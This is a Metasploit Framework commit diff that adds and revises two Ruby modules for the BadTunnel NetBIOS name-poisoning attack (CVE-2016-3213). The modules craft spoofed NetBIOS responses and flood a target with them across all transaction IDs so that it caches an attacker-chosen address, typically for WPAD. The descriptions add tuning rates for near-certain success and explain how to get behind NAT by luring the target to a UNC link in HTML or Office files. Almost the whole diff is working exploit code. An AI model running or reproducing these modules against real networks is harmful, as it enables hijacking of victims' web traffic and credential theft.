Skip to content

Commit 6507e52

Browse files
hdmhdm
committed
Cleanups, addition of a 'direct' module
1 parent d8f6be0 commit 6507e52

File tree

2 files changed

+128
-11
lines changed

2 files changed

+128
-11
lines changed

‎modules/auxiliary/admin/netbios/netbios_badtunnel_direct.rb

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Udp
11+
12+
def initialize
13+
super(
14+
'Name' => 'NetBIOS "BadTunnel" Name Poisoner (Direct)',
15+
'Description' => %q{
16+
This module continuously spams NetBIOS responses to a target for given hostname,
17+
causing the target to cache a malicious address for this name. On high-speed local
18+
networks, the PPSRATE value should be increased to speed up this attack. As an
19+
example, a value of around 30,000 is almost 100% successful when spoofing a
20+
response for a 'WPAD' lookup. Distant targets may require more time and lower
21+
rates for a successful attack.
22+
},
23+
'Authors' => [
24+
'hdm', # Metasploit Module
25+
'tombkeeper' # Vulnerability Discovery
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],
31+
['CVE', '2016-3213'],
32+
['MSB', 'MS16-063'],
33+
['CVE', '2016-3236'],
34+
['MSB', 'MS16-077']
35+
],
36+
'DisclosureDate' => 'Jun 14 2016'
37+
)
38+
39+
register_options(
40+
[
41+
Opt::RPORT(137),
42+
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
43+
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
44+
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
45+
],
46+
self.class
47+
)
48+
end
49+
50+
def netbios_spam
51+
payload =
52+
"\xff\xff" + # TXID
53+
"\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20" +
54+
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
55+
"\x00\x00\x20\x00\x01\x00\xff\xff\xff\x00\x06\x00\x00" +
56+
Rex::Socket.addr_aton(@fake_addr)
57+
58+
stime = Time.now.to_f
59+
pcnt = 0
60+
pps = 0
61+
62+
print_status("BadTunnel: >> Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
63+
64+
live = true
65+
while live
66+
0.upto(65535) do |txid|
67+
begin
68+
payload[0,2] = [txid].pack("n")
69+
@sock.put(payload)
70+
pcnt += 1
71+
72+
pps = (pcnt / (Time.now.to_f - stime)).to_i
73+
if pps > @targ_rate
74+
sleep(0.01)
75+
end
76+
rescue Errno::ECONNREFUSED
77+
print_error("BadTunnel: >> Error: Target sent us an ICMP port unreachable, port is likely closed")
78+
live = false
79+
break
80+
end
81+
end
82+
end
83+
84+
print_status("BadTunnel: >> Cleaning up...")
85+
end
86+
87+
def run
88+
connect_udp
89+
@sock = self.udp_sock
90+
91+
@targ_addr = rhost
92+
@targ_port = rport
93+
@targ_rate = datastore['PPSRATE']
94+
@fake_name = datastore['NBNAME']
95+
@fake_addr = datastore['NBADDR']
96+
97+
netbios_spam
98+
99+
disconnect_udp
100+
end
101+
102+
end

‎modules/auxiliary/server/netbios_badtunnel.rb

Lines changed: 26 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -13,9 +13,16 @@ def initialize
1313
'Name' => 'NetBIOS "BadTunnel" Service',
1414
'Description' => %q{
1515
This module listens for a NetBIOS name request and then continuously spams
16-
NetBIOS responses for the name "WPAD" to the requesting host and port. This
17-
can cause a system behind a NAT gateway to cache a malicious address for the
18-
"WPAD" hostname.
16+
NetBIOS responses to a target for given hostname, causing the target to cache
17+
a malicious address for this name. On high-speed networks, the PPSRATE value
18+
should be increased to speed up this attack. As an example, a value of around
19+
30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.
20+
Distant targets may require more time and lower rates for a successful attack.
21+
22+
This module works when the target is behind a NAT gateway, since the stream of
23+
NetBIOS responses will keep the NAT mapping alive after the initial setup. To
24+
trigger the initial NetBIOS request to the Metasploit system, force the target
25+
to access a UNC link pointing to the same address (HTML, Office attachment, etc).
1926
},
2027
'Authors' => [
2128
'hdm', # Metasploit Module
@@ -38,15 +45,17 @@ def initialize
3845
[
3946
'Service'
4047
],
41-
'DefaultAction' => 'Service'
48+
'DefaultAction' => 'Service',
49+
'DisclosureDate' => 'Jun 14 2016'
4250
)
4351

4452
register_options(
4553
[
4654
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
4755
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
48-
OptAddress.new('WPADHOST', [ true, "The address that WPAD should resolve to", nil ]),
49-
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]),
56+
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
57+
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
58+
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
5059
], self.class)
5160
end
5261

@@ -61,8 +70,9 @@ def netbios_service
6170
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
6271
@sock.bind(datastore['SRVHOST'], @port)
6372

64-
@wpad_host = datastore['WPADHOST']
65-
@targ_rate = datastore['PPSRATE'].to_i
73+
@targ_rate = datastore['PPSRATE']
74+
@fake_name = datastore['NBNAME']
75+
@fake_addr = datastore['NBADDR']
6676

6777
print_status("BadTunnel: Listening for NetBIOS requests...")
6878

@@ -78,6 +88,7 @@ def netbios_service
7888

7989
print_status("BadTunnel: >> Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
8090
@sock.connect(@targ_addr, @targ_port)
91+
8192
netbios_spam
8293

8394
rescue ::Interrupt
@@ -90,14 +101,18 @@ def netbios_service
90101
end
91102

92103
def netbios_spam
93-
payload = ["FFFF85000000000100000000204648464145424545434143414341434143414341434143414341434143414141000020000100FFFFFF000600000FFFFFFFF"].pack("H*")
94-
payload[58,4] = Rex::Socket.addr_aton(@wpad_host)
104+
payload =
105+
"\xff\xff" + # TXID
106+
"\x85\x00\x00\x00\x00\x01\x00\x00\x00\x00\x20" +
107+
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
108+
"\x00\x00\x20\x00\x01\x00\xff\xff\xff\x00\x06\x00\x00" +
109+
Rex::Socket.addr_aton(@fake_addr)
95110

96111
stime = Time.now.to_f
97112
pcnt = 0
98113
pps = 0
99114

100-
print_status("BadTunnel: >> Spamming WPAD responses to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
115+
print_status("BadTunnel: >> Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
101116

102117
live = true
103118
while live

0 commit comments

Comments
 (0)